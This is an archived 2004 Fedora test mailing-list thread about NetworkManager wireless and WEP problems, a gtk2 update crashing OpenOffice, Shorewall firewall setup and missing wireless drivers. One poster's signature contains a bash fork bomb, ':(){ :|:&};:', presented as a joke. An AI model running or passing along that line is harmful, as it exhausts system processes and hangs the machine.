2004-11-02 at 10:47 -0500, Amitabha Roy wrote: > > > Latest rawhide networkmanager is now asking for a password for a > > > wireless network > > > which I know is not encrypted! > > > > How can I get NetworkManagerInfo to prompt me for a WEP key?? I can't > > for the life of me get this to work, and I REALLY want to.... > > > > I have started /etc/init.d/NetworkManager, and started > > NetworkManagerInfo. My first problem is that I can't get > > NetworkManagerInfo to deal with a wireless network that has WEP turned > > on as well as doesn't broadcast its ESSID. I tried to manually get it > > to work by putting the ESSID in, but it doesn't ask me for a WEP key, so > > it's unable to associate and fails. > > > > So I reconfigured my wireless AP to broadcast its ESSID and now > > NetworkManagerInfo shows that network in its menu, with a lock icon in > > it, but it still doesn't prompt me for my WEP key!! > > > > What am I doing wrong??? > Hmm... I am in the same situation as you. For a wireless network at home, > which is WEP encrypted and not broadcasting the ESSID and I could get > it to work. > > First - have you updated to the latest rawhide networkmanager ? > yes. NetworkManager-0.3.1-3 > Second - try first setting key using iwconfig. > didn't make any difference. > Then run NetworkManager. > > One very irritating thing about NetworkManager is that it keeps asking > me for a WEP key about 4-5 times before the applet settles down. Okay, I've wasted the last 3 hours trying to get this to work and am done with it. Here's what I've found: - NetworkManager has to have the mode set to "Managed" in /etc/sysconfig/network-scripts/ifcfg-eth1, from what I saw. This conflicts with FC's insistence on making the mode "Auto" so that I can change the channel to 6 and the rate to Auto (https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133500). - unless I log into gnome as root, NetworkManagerInfo hard-locks-up my laptop. No, I cannot give a stack trace or anything useful to debug this. Specifically, what happens is I start NetworkManagerInfo, click on its menu, choose the SID of my network, and then sometimes immediately and sometimes after the error dialog box comes up to say "can't connect to this network" (it does NOT ask me for a WEP key if I'm not root), my laptop freezes hard. Mouse doesn't respond, kernel doesn't respond, etc., etc. - IF I am root, then clicking NetworkManagerInfo's menu and selecting the SID of my network, I do get the next dialog asking me for my WEP key. HOWEVER, it does this EVERY time!! The WEP key does not get saved as it is supposed to in gconf. Argh!!!! I REALLY want this to work!! =:/ I am running the latest kernel from fc3 (kernel-2.6.9-1.649), and have installed the orinoco-0.15rc2 kernel modules so that iwlist scanning works. Help??? -- ,-----------------------------------------------------------------// | Jason 'vanRijn' Kasper :: Numbers 6:22-26 ` | All brontosauruses are thin at one end, much MUCH thicker | in the middle, and then thin again at the far end. That is | the theory that I have and which is mine, and what it is too. , | bash$ :(){ :|:&};: `----------------------// From rpaiz at simpaticus.com Wed Nov 3 06:18:54 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Wed, 03 Nov 2004 00:18:54 -0600 Subject: FC3 RC5 - Networked LPD server printing still not working. In-Reply-To: <1099457636.3839.18.camel@tabb1.tabb> References: <4182DEF4.3060700@earthlink.net> <41839A45.7010703@earthlink.net> <4183DC49.1080401@earthlink.net> <80d7e40904103012141b508bb0@mail.gmail.com> <4183F00C.5040802@earthlink.net> <1099366696.3775.20.camel@tabb1.tabb> <1099371201.3557.139.camel@localhost.localdomain> <4187B28C.6020703@earthlink.net> <1099457636.3839.18.camel@tabb1.tabb> Message-ID: <1099462735.3384.11.camel@localhost.localdomain> On Tue, 2004-11-02 at 23:53 -0500, Phil Schaffner wrote: > Well, checked out shorewall and it does indeed seem powerful and > thoroughly documented, but is overkill for my little home network > requirements, plus must admit to having gotten used to the Firestarter > cute GUI - a tough admission from an old command-line guy. You are more than welcome to keep Firestarter. No one tool is suitable for all tasks. However, should you desire to attempt Shorewall, let me offer (from memory, so not 100% guaranteed!) a quick-quick-start: 1. Create a "net" and a "loc" zone in zones file. Probably already there, not much to do. If not there, format is "net Net Internet" and "loc Local Local Zone". 2. Write "eth0 net" and "eth1 loc" lines in interfaces file. Check that eth0 is actually your outside interface, adjust to needs. For reference, since my Internet access (external) interface gets its address via DHCP, mine actually say: net eth0 detect blacklist,dhcp loc eth1 detect 3. Check that "loc net ACCEPT" in in policy file if you want your local network unrestricted access to the Net (most common). 4. Add rules like "AllowSSH net fw" into the rules file. 5. Add "eth1" (your local interface) to the routestopped file. 6. If you want the local network on eth1 to access the Internet via eth0 using masquerading, add "eth0 eth1" to the masq file. 7. Remove the startup_disabled file. 8. /sbin/chkconfig shorewall on 9. /sbin/service shorewall start That, and a little judicious reading of the docs inside each file, should have you up and running in less than 100 seconds if I haven't made any grievous mistakes. But even if I have, it's a good start to show what needs to be done to get the average home firewall up and running with Shorewall. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From bednar007 at gmail.com Wed Nov 3 07:41:02 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Wed, 3 Nov 2004 08:41:02 +0100 Subject: kudos? Message-ID: <38f00b2a04110223414bc9a43@mail.gmail.com> Somebody can explain me what kudos is? Darek Borkowski From bavinic at comcast.net Wed Nov 3 07:44:49 2004 From: bavinic at comcast.net (Jim Martin) Date: Wed, 03 Nov 2004 02:44:49 -0500 Subject: kudos? In-Reply-To: <38f00b2a04110223414bc9a43@mail.gmail.com> References: <38f00b2a04110223414bc9a43@mail.gmail.com> Message-ID: <41888C71.2020406@comcast.net> Darek Borkowski wrote: >Somebody can explain me what kudos is? > >Darek Borkowski > > > It is a way of expressing Acclaim or praise for exceptional achievement. From backes at rhrk.uni-kl.de Wed Nov 3 07:54:28 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Wed, 03 Nov 2004 08:54:28 +0100 Subject: Renaming a MBOX-Folder in evolution-1.4.6-2 Message-ID: <1099468468.19085.6.camel@sunny.rhrk.uni-kl.de> Renaming a MBOX-Mailfolder creates a new folder and copies the contents of the old folder to the new one. But the old folder remains in the local folders, and trying to open it produces an error popup (the old folder name was TMW). Has somebody made similar experiences? Error while 'Opening folder file:////evolution/local/MATLAB/subfolders/TMW': Folder `/evolution/local/MATLAB/subfolders/TMW/mbox' does not exist. Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From alram.lechner at gmx.at Wed Nov 3 09:56:57 2004 From: alram.lechner at gmx.at (Alram Lechner) Date: Wed, 3 Nov 2004 10:56:57 +0100 (MET) Subject: Battstat applet Message-ID: <9644.1099475817@www29.gmx.net> hi! i have a problem with the battstat applet in FC2 & FC3T3. i produced a bugzilla bug: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135506 the problem is, that the battstat applet won't work on my Acer Travelmate 803LCI with 2 batteries. can anyone help me to solve this problem? thanks! -- -- Alram Lechner Binzerweg 11 4020 Linz m: 0650 2800250 f: +49-(0)89-1488-215410 From tim at birdsnest.maths.tcd.ie Wed Nov 3 11:07:48 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Wed, 3 Nov 2004 11:07:48 +0000 Subject: NetworkManager Issues In-Reply-To: <1099460573.4958.12.camel@localhost> References: <77e74f3e04110207476002a81c@mail.gmail.com> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> Message-ID: <200411031107.48967.tim@birdsnest.maths.tcd.ie> On Wednesday 03 November 2004 05:42, Jason 'vanRijn' Kasper wrote: > - IF I am root, then clicking NetworkManagerInfo's menu and selecting > the SID of my network, I do get the next dialog asking me for my WEP > key. HOWEVER, it does this EVERY time!! The WEP key does not get saved > as it is supposed to in gconf. I've tried NetworkManager too, and can't get it to work. However, this is almost certainly my fault. I just tried the latest rpm I found. But I have a different question. I read that NetworkManager is to become the "standard" Fedora application for this purpose. Does this mean that system-config-network and the entries to that in System Settings=>Network and System Tools=>Network Device Control are to go? (I'm running FC2-test3.) These applications don't work for me either; but they seem nearer to what I want than NetworkManager, which sounds much too clever for my purposes. I can't understand why Fedora is making such a meal of what seems a very simple issue to me. Incidentally, there did not seem any documentation with the NetworkManager rpm, apart from the Changelog in /usr/share/doc/NetworkManager* . Also, isn't there a convention to use lower-case in application names? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From PLR at tt.dk Wed Nov 3 12:20:09 2004 From: PLR at tt.dk (Peter Leif Rasmussen (PLR)) Date: Wed, 3 Nov 2004 13:20:09 +0100 Subject: Some issues with Fedora Installation Message-ID: <0644F050AE3F6D4993F0F135D25F5DC301255178@dk-ex01.thrane.tt.ad> I am new to this list, and I don't know if this has been covered, but I can't see where to find any archives. I have had some issues with installing Fedora on an IBM T30 laptop and they still seem to be present in the current Core 3. 1.The IBM T30 has its own hibernation functionality in the BIOS and wants to use a specific type partition for that. Why is the Fedora installer insisting on only recognising its very limited set of partition types during installation? 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URL: From ziga.mahkovec at klika.si Wed Nov 3 12:36:05 2004 From: ziga.mahkovec at klika.si (Ziga Mahkovec) Date: Wed, 03 Nov 2004 13:36:05 +0100 Subject: NetworkManager Issues In-Reply-To: <200411031107.48967.tim@birdsnest.maths.tcd.ie> References: <77e74f3e04110207476002a81c@mail.gmail.com> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <200411031107.48967.tim@birdsnest.maths.tcd.ie> Message-ID: <1099485365.3584.9.camel@serenity.klika.si> On Wed, 2004-11-03 at 11:07 +0000, Timothy Murphy wrote: > I've tried NetworkManager too, and can't get it to work. > However, this is almost certainly my fault. > I just tried the latest rpm I found. If you're having problems with your wireless interface -- from my experience, NetworkManager works best if you set you access point to broadcast the SSID and use Shared Key authentication. Also make sure NetworkManagerInfo is in your gnome session. There still appears to be an issue with the WEP key pop-up reappearing; I sent a works-for-me patch to the networkmanager-list which I hope will get in. > Incidentally, there did not seem any documentation > with the NetworkManager rpm, > apart from the Changelog in /usr/share/doc/NetworkManager* . Check http://people.redhat.com/dcbw/NetworkManager for more information on how NM works and what its advantages are. -- Ziga From gstool at earthlink.net Wed Nov 3 13:08:29 2004 From: gstool at earthlink.net (Gerry Tool) Date: Wed, 03 Nov 2004 07:08:29 -0600 Subject: Some issues with Fedora Installation In-Reply-To: <0644F050AE3F6D4993F0F135D25F5DC301255178@dk-ex01.thrane.tt.ad> References: <0644F050AE3F6D4993F0F135D25F5DC301255178@dk-ex01.thrane.tt.ad> Message-ID: <4188D84D.6070209@earthlink.net> Peter Leif Rasmussen (PLR) wrote: > I am new to this list, and I don't know if this has been covered, but > I can't see where to find any archives. > go to http://www.redhat.com/mailman/listinfo/fedora-test-list and click on the archives link. Gerry From cmkrnl at speakeasy.net Wed Nov 3 13:15:36 2004 From: cmkrnl at speakeasy.net (Andrew) Date: Wed, 03 Nov 2004 08:15:36 -0500 Subject: NetworkManager Issues In-Reply-To: <1099485365.3584.9.camel@serenity.klika.si> References: <77e74f3e04110207476002a81c@mail.gmail.com> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <200411031107.48967.tim@birdsnest.maths.tcd.ie> <1099485365.3584.9.camel@serenity.klika.si> Message-ID: <4188D9F8.3080905@speakeasy.net> Ziga Mahkovec wrote: > On Wed, 2004-11-03 at 11:07 +0000, Timothy Murphy wrote: > >>I've tried NetworkManager too, and can't get it to work. >>However, this is almost certainly my fault. >>I just tried the latest rpm I found. > > > If you're having problems with your wireless interface -- > from my experience, NetworkManager works best if you set you access > point to broadcast the SSID and use Shared Key authentication. Also > make sure NetworkManagerInfo is in your gnome session. The problem with this I have found is that if you have your session automatically save settings on exit - which I prefer (although I realize most don't), you get n+1 NetworkManagerInfo and NetworkManagerNotification processes on each successive login. Rather than having just 1 icon in the notification area I've ended up with as many as 6. -- Now that is something I just take into consideration when saving my gnome-session settings. I have found that its really important to have the NetworkManager service running before logging into the gnome-session. [which gave me a lot of trouble when I started playing with NM, since I was used to netplugd.] > > There still appears to be an issue with the WEP key pop-up reappearing; > I sent a works-for-me patch to the networkmanager-list which I hope will > get in. > [snip] On the plus side the approach is sound, and by FC4 it will be great, but right now, it takes a fair amount of wrestling to make it useful in FC3. Not impossible, but not easy. Plus the wireless card drivers all have very different ways of presenting things like the access-point lists, stats, signal strength, etc, which makes something like NM even harder (and more important) to implement. I know I am going to track it periodically either via post FC3 rawhide or through cvs. From gstool at earthlink.net Wed Nov 3 13:15:54 2004 From: gstool at earthlink.net (Gerry Tool) Date: Wed, 03 Nov 2004 07:15:54 -0600 Subject: fc3 fresh install up2date link giving 404 error ((ver 10-29-04)rc5 ?) In-Reply-To: <20041103030141.79158.qmail@web60507.mail.yahoo.com> References: <20041103030141.79158.qmail@web60507.mail.yahoo.com> Message-ID: <4188DA0A.90505@earthlink.net> Roman Toledo wrote: >I just downloaded and installed the 10-29-2004 ver to see if I could >see if Samba would work IT DOES, and the up2date link is giving a 404 >error > >is it cause it's so new the sites are not yet up? > > > That is the most probable reason. Don't expect any more updates until FC3 is released. Gerry From fedora at nodata.co.uk Wed Nov 3 13:51:40 2004 From: fedora at nodata.co.uk (nodata) Date: Wed, 3 Nov 2004 14:51:40 +0100 (CET) Subject: Some issues with Fedora Installation In-Reply-To: <4188D84D.6070209@earthlink.net> References: <0644F050AE3F6D4993F0F135D25F5DC301255178@dk-ex01.thrane.tt.ad> <4188D84D.6070209@earthlink.net> Message-ID: <35776.213.164.3.90.1099489900.squirrel@213.164.3.90> > Peter Leif Rasmussen (PLR) wrote: > >> I am new to this list, and I don't know if this has been covered, but >> I can't see where to find any archives. >> > go to http://www.redhat.com/mailman/listinfo/fedora-test-list > > and click on the archives link. > > Gerry > He does have a good point though, the website could be easier. To post to the list, you must create an account. After confirming the account, the screen you get to has no way to view the list archive. From william.huizinga at smiths-aerospace.com Wed Nov 3 14:06:22 2004 From: william.huizinga at smiths-aerospace.com (William S Huizinga) Date: Wed, 03 Nov 2004 09:06:22 -0500 Subject: new rawhide gtk breaks openoffice Message-ID: <1099490782.3678.17.camel@vixen.agre.smiths.aero> I'm seeing a problem with the new -5 build of gtk2/gtk2-devel and openoffice 1.1.2-10. I have two documents (company sensitive, so I can't give them for bug verification; sorry), one small and one large, both in .sxw format (but they were both originally imported as .doc). If I open the small one using the recent files option, and the large one using the recent files option, I get the attached crash (output by bug-buddy and less than totally useful without the debug info). This is 100% repeatable. I believe this to be a gtk problem because it goes away if I downgrade back to the -4 builds. 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() No symbol table info available. #11 0x00000001 in ?? () No symbol table info available. #12 0x000005a0 in ?? () No symbol table info available. #13 0x0016c16c in ?? () from /usr/lib/nvidia/libGLcore.so.1 No symbol table info available. #14 0x0000df84 in ?? () No symbol table info available. #15 0x00000000 in ?? () No symbol table info available. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From dcbw at redhat.com Wed Nov 3 14:34:44 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 09:34:44 -0500 Subject: ipw2100 drivers? In-Reply-To: <418809B1.8060209@gats-inc.com> References: <418809B1.8060209@gats-inc.com> Message-ID: <1099492484.9969.1.camel@dcbw.boston.redhat.com> On Tue, 2004-11-02 at 17:26 -0500, John Burton wrote: > Greetings again, > Originally on this Compaq nx7000 laptop, I had PClinuxOS installed. It > had an ipw2100 driver for centrino wireless (as well as an ntfs driver). > I installed FC3-RC1 on it last week. Slowly getting everything figured > out (will wait until I get the FC3 release before bothering with NTFS). > One question I had, will there be an ipw2100 wireless network driver > included in the FC3 final release? I don't believe so. They aren't in the upstream kernel, so therefore they won't be in the Fedora Core kernel. Fedora could package just the drivers, but Fedora _can't_ package the firmware that you need to be able to use the card, since the firmware isn't "free" as in OSS, same as Debian. Livna's repository would probably have them though if they don't already. Dan From fedora at wir-sind-cool.org Wed Nov 3 14:37:28 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 3 Nov 2004 15:37:28 +0100 Subject: scrollbar corruption Message-ID: <20041103153728.0363acb2.fedora@wir-sind-cool.org> KDE with FC3 RC5 Attached image shows what I see in e.g. Firefox, Mozilla, gqview. The bottom line of the draggable area of a vertical scrollbar is corrupted and filled with garbage when I move the mouse over it. The garbage varies with time, almost like a structure in memory is copied. It's fully reproducible. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 2.33 2.34 1.96 From fedora at wir-sind-cool.org Wed Nov 3 14:38:17 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 3 Nov 2004 15:38:17 +0100 Subject: scrollbar corruption In-Reply-To: <20041103153728.0363acb2.fedora@wir-sind-cool.org> References: <20041103153728.0363acb2.fedora@wir-sind-cool.org> Message-ID: <20041103153817.4297c455.fedora@wir-sind-cool.org> On Wed, 3 Nov 2004 15:37:28 +0100, Michael Schwendt wrote: > KDE with FC3 RC5 > > Attached image shows what I see in e.g. Firefox, Mozilla, gqview. The > bottom line of the draggable area of a vertical scrollbar is corrupted > and filled with garbage when I move the mouse over it. The garbage > varies with time, almost like a structure in memory is copied. It's > fully reproducible. and here's the attachment :/ -------------- next part -------------- A non-text attachment was scrubbed... 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In progress: http://bugzilla.livna.org/show_bug.cgi?id=268 http://bugzilla.livna.org/show_bug.cgi?id=269 CU thl From harald at redhat.com Wed Nov 3 14:37:43 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 03 Nov 2004 15:37:43 +0100 Subject: new rawhide gtk breaks openoffice In-Reply-To: <1099490782.3678.17.camel@vixen.agre.smiths.aero> References: <1099490782.3678.17.camel@vixen.agre.smiths.aero> Message-ID: <4188ED37.1010703@redhat.com> William S Huizinga wrote: > I'm seeing a problem with the new -5 build of gtk2/gtk2-devel and > openoffice 1.1.2-10. > > I have two documents (company sensitive, so I can't give them for bug > verification; sorry), one small and one large, both in .sxw format (but > they were both originally imported as .doc). If I open the small one > using the recent files option, and the large one using the recent files > option, I get the attached crash (output by bug-buddy and less than > totally useful without the debug info). This is 100% repeatable. > > I believe this to be a gtk problem because it goes away if I downgrade > back to the -4 builds. > > I'd create a Bugzilla entry for it, but I can't figure out a clean case > (ie, not requiring my two oddball documents) which will cause the > problem. > > a half-complete bugzilla entry is better than no entry at all! -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From martin.hanneghan at gmail.com Wed Nov 3 14:37:59 2004 From: martin.hanneghan at gmail.com (Martin Hanneghan) Date: Wed, 3 Nov 2004 14:37:59 +0000 Subject: Gnome won't fire up for non root users Message-ID: <61a42358041103063745f45121@mail.gmail.com> All of a sudden, Gnome has stopped working if I attempt to login to FC3 test 3 as a non-root user. Even if I create a new user, they can't login. I've tried deleting all the .gnome related files and directories for the user but to no avail. Any suggestions how to fix this (or why it happened?) - I'm guessing some permissions have got corrupted somewhere since root still has a Gnome graphical desktop. Non-graphical login works fine (e.g. failsafe term or logging into a console window outside of X). XFCE works fine but KDE is bombing out too saying the session lasted less than 10 seconds... Regards Martin From fedora at leemhuis.info Wed Nov 3 14:38:34 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Wed, 03 Nov 2004 15:38:34 +0100 Subject: ipw2100 drivers? In-Reply-To: <1099492638.2870.25.camel@thl.ct.heise.de> References: <418809B1.8060209@gats-inc.com> <1099492484.9969.1.camel@dcbw.boston.redhat.com> <1099492638.2870.25.camel@thl.ct.heise.de> Message-ID: <1099492714.2870.27.camel@thl.ct.heise.de> Am Mittwoch, den 03.11.2004, 15:37 +0100 schrieb Thorsten Leemhuis: > Am Mittwoch, den 03.11.2004, 09:34 -0500 schrieb Dan Williams: > > > > I don't believe so. They aren't in the upstream kernel, so therefore > > they won't be in the Fedora Core kernel. Fedora could package just > > the > > drivers, but Fedora _can't_ package the firmware that you need to be > > able to use the card, since the firmware isn't "free" as in OSS, same > > as > > Debian. > > > > Livna's repository would probably have them though if they don't > > already. > > In progress: > > http://bugzilla.livna.org/show_bug.cgi?id=268 > http://bugzilla.livna.org/show_bug.cgi?id=269 Ohh, sorry, you talked about the ipw2100 -- these packages are for ipw2200. But if the ipw2200 packages are ready I plan to submit the ipw2100 drivers also. CU thl From dcbw at redhat.com Wed Nov 3 14:51:51 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 09:51:51 -0500 Subject: NetworkManager Issues In-Reply-To: <4188D9F8.3080905@speakeasy.net> References: <77e74f3e04110207476002a81c@mail.gmail.com> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <200411031107.48967.tim@birdsnest.maths.tcd.ie> <1099485365.3584.9.camel@serenity.klika.si> <4188D9F8.3080905@speakeasy.net> Message-ID: <1099493511.9969.7.camel@dcbw.boston.redhat.com> Multiple applets should be fixed with 0.3.1-3 which should be in rawhide/FC-3 now. Dan On Wed, 2004-11-03 at 08:15 -0500, Andrew wrote: > > Ziga Mahkovec wrote: > The problem with this I have found is that if you have your session > automatically save settings on exit - which I prefer (although I realize > most don't), you get n+1 NetworkManagerInfo and NetworkManagerNotification > processes on each successive login. Rather than having just 1 icon in the > notification area I've ended up with as many as 6. -- Now that is something > I just take into consideration when saving my gnome-session settings. > > I have found that its really important to have the NetworkManager service > running before logging into the gnome-session. [which gave me a lot of > trouble when I started playing with NM, since I was used to netplugd.] From william.huizinga at smiths-aerospace.com Wed Nov 3 14:58:34 2004 From: william.huizinga at smiths-aerospace.com (Bill Huizinga) Date: Wed, 03 Nov 2004 09:58:34 -0500 Subject: new rawhide gtk breaks openoffice In-Reply-To: <4188ED37.1010703@redhat.com> References: <1099490782.3678.17.camel@vixen.agre.smiths.aero> <4188ED37.1010703@redhat.com> Message-ID: <1099493914.3678.20.camel@vixen.agre.smiths.aero> On Wed, 2004-11-03 at 15:37 +0100, Harald Hoyer wrote: > William S Huizinga wrote: > > I'm seeing a problem with the new -5 build of gtk2/gtk2-devel and > > openoffice 1.1.2-10. > > > > I have two documents (company sensitive, so I can't give them for bug > > verification; sorry), one small and one large, both in .sxw format (but > > they were both originally imported as .doc). If I open the small one > > using the recent files option, and the large one using the recent files > > option, I get the attached crash (output by bug-buddy and less than > > totally useful without the debug info). This is 100% repeatable. > > > > I believe this to be a gtk problem because it goes away if I downgrade > > back to the -4 builds. > > > > I'd create a Bugzilla entry for it, but I can't figure out a clean case > > (ie, not requiring my two oddball documents) which will cause the > > problem. > > > > > > a half-complete bugzilla entry is better than no entry at all! As you wish. Bug #137969. --- wsh > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From dcbw at redhat.com Wed Nov 3 15:02:01 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 10:02:01 -0500 Subject: NetworkManager Issues In-Reply-To: <1099460573.4958.12.camel@localhost> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> Message-ID: <1099494121.9969.13.camel@dcbw.boston.redhat.com> On Wed, 2004-11-03 at 00:42 -0500, Jason 'vanRijn' Kasper wrote: > - NetworkManager has to have the mode set to "Managed" > in /etc/sysconfig/network-scripts/ifcfg-eth1, from what I saw. This > conflicts with FC's insistence on making the mode "Auto" so that I can > change the channel to 6 and the rate to Auto > (https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133500). NM always sets the mode to Managed/Infrastructure. You should not be able to change the channel on the card, since when you put the card into Infrastructure mode, it will _automatically_ switch to the channel of the ESSID you set on the card. There is no need to manually set the channel and rate unless: 1) your AP is broken 2) your card/firmware is broken 3) you're using Ad-Hoc mode, in which case you aren't using NM What do you need to explicitly set the channel for? > - unless I log into gnome as root, NetworkManagerInfo hard-locks-up my > laptop. No, I cannot give a stack trace or anything useful to debug > this. Specifically, what happens is I start NetworkManagerInfo, click > on its menu, choose the SID of my network, and then sometimes > immediately and sometimes after the error dialog box comes up to say > "can't connect to this network" (it does NOT ask me for a WEP key if I'm > not root), my laptop freezes hard. Mouse doesn't respond, kernel > doesn't respond, etc., etc. Previously there were issues wtih the IPv6 stack and wireless drivers in the _kernel_ (#rh135432# in bugzilla), these may be fixed. They caused a hard-lock of machine where a panic would print to the console, but of course you couldn't see it because you were in X. Dan From kyrre at solution-forge.net Wed Nov 3 15:05:33 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 03 Nov 2004 16:05:33 +0100 Subject: NetworkManager Issues In-Reply-To: <1099494121.9969.13.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <1099494121.9969.13.camel@dcbw.boston.redhat.com> Message-ID: <1099494333.2722.14.camel@kyrre> But i still should show up in syslog? ons, 03.11.2004 kl. 16.02 skrev Dan Williams: > On Wed, 2004-11-03 at 00:42 -0500, Jason 'vanRijn' Kasper wrote: > > - NetworkManager has to have the mode set to "Managed" > > in /etc/sysconfig/network-scripts/ifcfg-eth1, from what I saw. This > > conflicts with FC's insistence on making the mode "Auto" so that I can > > change the channel to 6 and the rate to Auto > > (https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133500). > > NM always sets the mode to Managed/Infrastructure. You should not be > able to change the channel on the card, since when you put the card into > Infrastructure mode, it will _automatically_ switch to the channel of > the ESSID you set on the card. There is no need to manually set the > channel and rate unless: > > 1) your AP is broken > 2) your card/firmware is broken > 3) you're using Ad-Hoc mode, in which case you aren't using NM > > What do you need to explicitly set the channel for? > > > - unless I log into gnome as root, NetworkManagerInfo hard-locks-up my > > laptop. No, I cannot give a stack trace or anything useful to debug > > this. Specifically, what happens is I start NetworkManagerInfo, click > > on its menu, choose the SID of my network, and then sometimes > > immediately and sometimes after the error dialog box comes up to say > > "can't connect to this network" (it does NOT ask me for a WEP key if I'm > > not root), my laptop freezes hard. Mouse doesn't respond, kernel > > doesn't respond, etc., etc. > > Previously there were issues wtih the IPv6 stack and wireless drivers in > the _kernel_ (#rh135432# in bugzilla), these may be fixed. They caused > a hard-lock of machine where a panic would print to the console, but of > course you couldn't see it because you were in X. > > Dan From dcbw at redhat.com Wed Nov 3 15:08:56 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 10:08:56 -0500 Subject: NetworkManager Issues In-Reply-To: <200411031107.48967.tim@birdsnest.maths.tcd.ie> References: <77e74f3e04110207476002a81c@mail.gmail.com> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <200411031107.48967.tim@birdsnest.maths.tcd.ie> Message-ID: <1099494536.9969.20.camel@dcbw.boston.redhat.com> On Wed, 2004-11-03 at 11:07 +0000, Timothy Murphy wrote: > On Wednesday 03 November 2004 05:42, Jason 'vanRijn' Kasper wrote: > Does this mean that system-config-network > and the entries to that in System Settings=>Network > and System Tools=>Network Device Control > are to go? I don't think so, not in the short term. NM is really only useful when you're using wireless connections, and not many servers that I know of do that :) These tools still have a use. > These applications don't work for me either; > but they seem nearer to what I want than NetworkManager, > which sounds much too clever for my purposes. What _do_ you want? Do you wish to manually bring/down your devices and manually set the ESSID and WEP key for every access point? That's basically what NM already does for you, it just needs a bit of settling down to deal with stuff like Open System/Shared Key. > Also, isn't there a convention to use lower-case in application names? Maybe in old-skool Linux land, but certainly not everywhere else. Other upstream Gnome projects, for example, like GConf, ORBit, etc have studly caps names. Besides, it doesn't kill people to reach for the shift key. Futhermore, who is _not_ using autocompletion in their shell? Even further, _why_ do you have to every type NetworkManager? Its installed as a server, and NMI should start automatically when you log in. Developers who don't want to type N once a month are plain lazy, no ifsandsbutsorors. Nobody has ever had a compelling reason to _not_ use studly caps besides "wahhh, I don't want to have to use shift, even though I use caps for other stuff in C." Dan From byte at aeon.com.my Wed Nov 3 15:06:20 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 04 Nov 2004 02:06:20 +1100 Subject: new rawhide gtk breaks openoffice In-Reply-To: <1099490782.3678.17.camel@vixen.agre.smiths.aero> References: <1099490782.3678.17.camel@vixen.agre.smiths.aero> Message-ID: <1099494380.3364.62.camel@hermione.soho.bytebot.net> On Wed, 2004-11-03 at 09:06 -0500, William S Huizinga wrote: > I have two documents (company sensitive, so I can't give them for bug > verification; sorry), one small and one large, both in .sxw format (but > they were both originally imported as .doc). If I open the small one > using the recent files option, and the large one using the recent files > option, I get the attached crash (output by bug-buddy and less than > totally useful without the debug info). This is 100% repeatable. Try creating the test case without the company sensitivities, and see if can happen > I'd create a Bugzilla entry for it, but I can't figure out a clean case > (ie, not requiring my two oddball documents) which will cause the > problem. I saw calls to /usr/lib/nvidia/libGLcore.so.1 Are you running Nvidia binary drivers? -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From dcbw at redhat.com Wed Nov 3 15:19:32 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 10:19:32 -0500 Subject: NetworkManager Issues In-Reply-To: <1099447511.5027.7.camel@localhost> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> Message-ID: <1099495172.9969.32.camel@dcbw.boston.redhat.com> On Tue, 2004-11-02 at 21:05 -0500, Jason 'vanRijn' Kasper wrote: > On Tue, 2004-11-02 at 10:47 -0500, Amitabha Roy wrote: > > Latest rawhide networkmanager is now asking for a password for a > > wireless network > > which I know is not encrypted! > > How can I get NetworkManagerInfo to prompt me for a WEP key?? I can't > for the life of me get this to work, and I REALLY 